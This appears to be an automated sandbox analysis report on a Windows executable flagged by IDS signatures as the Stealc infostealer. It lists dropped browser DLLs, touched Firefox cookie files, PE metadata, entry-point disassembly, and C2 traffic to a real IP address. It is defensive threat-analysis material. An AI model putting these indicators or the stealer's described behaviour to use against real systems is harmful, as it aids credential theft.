File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421937657599662
Encrypted:	false
SSDEEP:	6144:XSvfpi6ceLP/9skLmb0OTbWSPHaJG8nAgeMZMMhA2fX4WABlEnN20uhiTw:CvloTbW+EZMM6DFy403w
MD5:	43D6F44089156B462A852BF37A76658B
SHA1:	F0D8845294AFD24935428D0B93AC4C9A8B17D768
SHA-256:	04E7D305634CD49C18ECD20ACD9D7B6AF3208B56D265996959A97F33440ACFB0
SHA-512:	DE7CBB3AA031330BCC48C4B53CB8D31BA63A2F2E9F23FE7FEAA96876FE8619035D8C8C27A0ADA97D9023766AD291F2654988917F44ECA800DB7810285FF0C27C
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.L..................................................................................................................................................................................................................................................................................................................................................x...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.682901227736102
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	505'344 bytes
MD5:	7c6083bf70e2919d0957ffcb7b75ebeb
SHA1:	89254f92c908c0d99d150649aab4fdea7fc10b34
SHA256:	9714d301c8b96c7263dea4a36ddbdf74896d31f648d2836fa2d2642dccca17e8
SHA512:	ba7c4f25f83cfde35252920821707322e3523b3e47bb221239082fce3e3eb6811d302a24c1583bed3d8ddb54a6bb3e99ee6d2c5d3d2f5425ded550b82bcf16e8
SSDEEP:	12288:PtVE8S9QVK+gLgDWuaQ3HQ0RJaE5hZVQgqt2oRAAn4S:PfS9RkKO3w0RJaOQgq0oRAA4
TLSH:	BDB4F115B5C0C072D5A326320AF4DBB49A7DBCB04A228E9F57944F7E4F30791E7216AB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU...............

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x406f52
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6703FA9F [Mon Oct 7 15:13:35 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d10af643340e1121562abe3e6bd5b0e1

Entrypoint Preview

Instruction
call 00007F4088C68420h
jmp 00007F4088C6798Fh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F4088C67B2Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F4088C67B1Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F4088C67B1Eh
add edx, 28h
cmp edx, esi
jne 00007F4088C67AFCh
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F4088C67B0Bh
push esi
call 00007F4088C68734h
test eax, eax
je 00007F4088C67B32h
mov eax, dword ptr fs:[00000018h]
mov esi, 0047B354h
mov edx, dword ptr [eax+04h]
jmp 00007F4088C67B16h
cmp edx, eax
je 00007F4088C67B22h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F4088C67B02h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F4088C67B19h
mov byte ptr [0047B358h], 00000001h
call 00007F4088C67DCAh
call 00007F4088C6ACE7h
test al, al
jne 00007F4088C67B16h
xor al, al
pop ebp
ret
call 00007F4088C73749h
test al, al
jne 00007F4088C67B1Ch
push 00000000h
call 00007F4088C6ACEEh
pop ecx
jmp 00007F4088C67AFBh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [0047B359h], 00000000h
je 00007F4088C67B16h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2c6c0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7c000	0x3d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7d000	0x1ad4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2abc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ab00	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x23000	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x210f0	0x21200	f5a064f126f17409e899b147730b8f55	False	0.5865713443396227	data	6.669555789659726	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x9d78	0x9e00	0dcefcb39106975252a5a0302dcdb2fa	False	0.43515130537974683	data	4.959726746820749	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2d000	0x4ef80	0x4e200	1ce2dcb3b127c3e0d104576eab8d75de	False	0.98996875	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	7.990836356023255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7c000	0x3d8	0x400	5584c2fd2a321b3ff4d89d84727643be	False	0.4404296875	data	3.290569201128903	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7d000	0x1ad4	0x1c00	cb7c3b039aea7c95934e11ef0ee7f4a9	False	0.7271205357142857	data	6.394478377548186	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x7c058	0x380	data	English	United States	0.46205357142857145

Imports

DLL

Import

KERNEL32.dll

AttachConsole, MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, ReadConsoleW, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T17:21:59.286768+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	46.8.231.109	80	TCP
2024-10-07T17:21:59.472361+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	46.8.231.109	80	TCP
2024-10-07T17:21:59.480630+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	46.8.231.109	80	192.168.2.5	49704	TCP
2024-10-07T17:21:59.652842+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	46.8.231.109	80	TCP
2024-10-07T17:21:59.662218+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	46.8.231.109	80	192.168.2.5	49704	TCP
2024-10-07T17:22:00.167409+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	46.8.231.109	80	TCP
2024-10-07T17:22:00.746360+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	46.8.231.109	80	TCP
2024-10-07T17:22:03.921571+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	46.8.231.109	80	TCP
2024-10-07T17:22:04.779221+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	46.8.231.109	80	TCP
2024-10-07T17:22:05.473887+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	46.8.231.109	80	TCP
2024-10-07T17:22:05.955234+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	46.8.231.109	80	TCP
2024-10-07T17:22:07.482901+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	46.8.231.109	80	TCP
2024-10-07T17:22:07.861845+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	46.8.231.109	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 17:21:55.702177048 CEST	49674	443	192.168.2.5	23.1.237.91
Oct 7, 2024 17:21:55.702182055 CEST	49675	443	192.168.2.5	23.1.237.91
Oct 7, 2024 17:21:55.827133894 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 7, 2024 17:21:57.619887114 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:21:57.910437107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:57.910506010 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:21:57.920540094 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:21:58.138246059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:58.746232986 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:58.746572971 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:21:58.750396013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:21:58.755398989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:59.286703110 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:59.286767960 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:21:59.288744926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:21:59.293662071 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:59.472302914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:59.472361088 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:21:59.472369909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:59.472484112 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:21:59.475752115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:21:59.480629921 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:59.652780056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:59.652806044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:59.652817011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:59.652827024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:59.652841091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:59.652842045 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:21:59.652852058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:59.652858019 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:21:59.652863026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:59.652905941 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:21:59.656310081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:21:59.662218094 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:59.833415031 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:59.833477020 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:21:59.857036114 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:21:59.857085943 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:21:59.861947060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:59.862013102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:21:59.862247944 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.167270899 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.167408943 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.168045044 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.173130035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746223927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746251106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746267080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746345043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746360064 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.746375084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746388912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746397018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746404886 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.746411085 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746427059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746436119 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.746442080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746458054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746459007 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.746474028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746484995 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.746517897 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.746588945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746603012 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746618032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746630907 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746639967 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.746654987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.746676922 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.746848106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746895075 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.746906042 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746920109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746934891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.746956110 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.746988058 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.747035027 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.747050047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.747065067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.747087002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.747116089 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.747586966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.747637033 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.751481056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.751497030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.751516104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.751523972 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.751543045 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.751560926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.752002001 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.752017975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.752032995 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.752038002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.752053976 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.752070904 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.752695084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.752708912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.752722979 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.752743006 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.752779961 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.753452063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.753501892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.753540993 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:00.753540993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:00.753577948 CEST	49704	80	192.168.2.5	46.8.231.109
